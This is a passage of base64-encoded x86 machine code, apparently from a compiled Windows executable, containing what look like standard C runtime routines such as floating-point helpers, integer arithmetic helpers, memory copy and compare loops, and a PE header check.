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KlWH////Zydjh2eSb3b1g////2eHZ8MPZwNn82Nmb3+CedRrZwNwNkvYHENnA2fze2Zvf4J50DbgBAAAAw7gAAAAA6/i4AgAAAOvxVoPsdIv0VoPsCN0cJIPsCN0cJJvddgjo6QcAAIPEFN1mCN0Gg8R0XoXAdAXp0AEAAMPMzMzMzMzMzMyAeg4FdRFmi51c////gM8CgOf+sz/rBGa7PxNmiZ1e////2a1e////u+72BxDZ5YmVbP///5vdvWD////GhXD///8Am4qNYf///9Dh0PnQwYrBJA/XD77AgeEEBAAAi9oD2IPDEP8jgHoOBXURZoudXP///4DPAoDn/rM/6wRmuz8TZomdXv///9mtXv///7vu9gcQ2eWJlWz///+b3b1g////xoVw////ANnJio1h////2eWb3b1g////2cmKrWH////Q5dD90MWKxSQP14rg0OHQ+dDBisEkD9fQ5NDkCsQPvsCB4QQEAACL2gPYg8MQ/yPozgAAANnJ3djD6MQAAADr9t3Y3djZ7sPd2N3Y2e6E7XQC2eDD3djd2Nnow9u9Yv///9utYv////aFaf///0B0CMaFcP///wDDxoVw////ANwF3vYHEMPZydu9Yv///9utYv////aFaf///0B0CcaFcP///wDrB8aFcP///wDewcPbvWL////brWL////2hWn///9AdCDZydu9Yv///9utYv////aFaf///0B0CcaFcP///wDrB8aFcP///wHewcPd2N3Y2y3A9gcQgL1w////AH8HxoVw////AQrJw93Y3djbLdT2BxAK7XQC2eAKyXQI3QXm9gcQ3snDCsl0Atngw8zMzMzMzMzMzMzMzNnA2fzc4dnJ2eDZ8Nno3sHZ/d3Zw4tUJASB4gADAACDyn9miVQkBtlsJAbDqQAACAB0BrgAAAAAw9wFAPcHELgAAAAAw4tCBCUAAPB/PQAA8H90A90Cw4tCBIPsCg0AAP9/iUQkBotCBIsKD6TIC8HhC4lEJASJDCTbLCSDxAqpAAAAAItCBMOLRCQIJQAA8H89AADwf3QBw4tEJAjDZoE8JH8CdAPZLCRaw2aLBCRmPX8CdB5mg+AgdBWb3+Bmg+AgdAy4CAAAAOjZAAAAWsPZLCRaw4PsCN0UJItEJASDxAglAADwf+sUg+wI3RQki0QkBIPECCUAAPB/dD0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